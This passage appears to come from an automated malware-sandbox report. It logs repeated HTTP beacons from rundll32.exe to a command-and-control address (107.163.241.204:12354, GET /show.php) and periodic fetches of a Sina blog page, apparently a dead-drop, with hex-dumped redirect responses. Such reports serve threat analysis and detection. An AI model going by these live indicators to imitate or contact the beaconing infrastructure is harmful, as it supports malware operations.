bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49796	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:23:56.484150887 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49798	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:23:56.671241045 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49814	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:23:58.139686108 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49815	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:23:58.322012901 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49816	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:23:58.323337078 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:23:59.828609943 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:23:59 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49840	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:00.375739098 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49842	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:00.503346920 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49857	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:02.138027906 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49859	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:02.292270899 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:03.868853092 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:03 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49860	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:02.292548895 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49884	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:04.405234098 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49887	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:04.542387962 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49903	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:06.152331114 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache
Dec 11, 2024 16:25:59.666007996 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49905	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:06.274705887 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49906	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:06.345331907 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:08.003690958 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:07 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49929	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:08.387660980 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49932	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:08.515805960 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49952	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:10.281122923 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49954	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:10.395219088 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:12.056432962 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:11 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49955	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:10.395332098 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49979	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:12.511389971 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49983	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:12.745274067 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	50000	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:14.301184893 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	50002	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:14.417965889 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	50003	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:14.466578007 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:16.057897091 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:15 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	50028	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:16.547029018 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	50032	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:16.778321028 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	50048	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:18.315104961 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	50050	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:18.452539921 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	50051	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:18.452672005 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:20.017344952 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:19 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	50077	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:20.594185114 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	50080	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:20.703990936 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	50100	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:22.356342077 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	50102	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:22.471931934 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	50103	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:22.472050905 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:24.055720091 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:23 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	50127	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:24.615520000 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	50130	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:24.783198118 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	50150	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:26.361162901 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	50152	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:26.471364975 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	50153	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:26.471508026 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:24:28.046827078 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:24:27 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	50177	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:28.697782040 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	50180	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:24:28.773125887 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

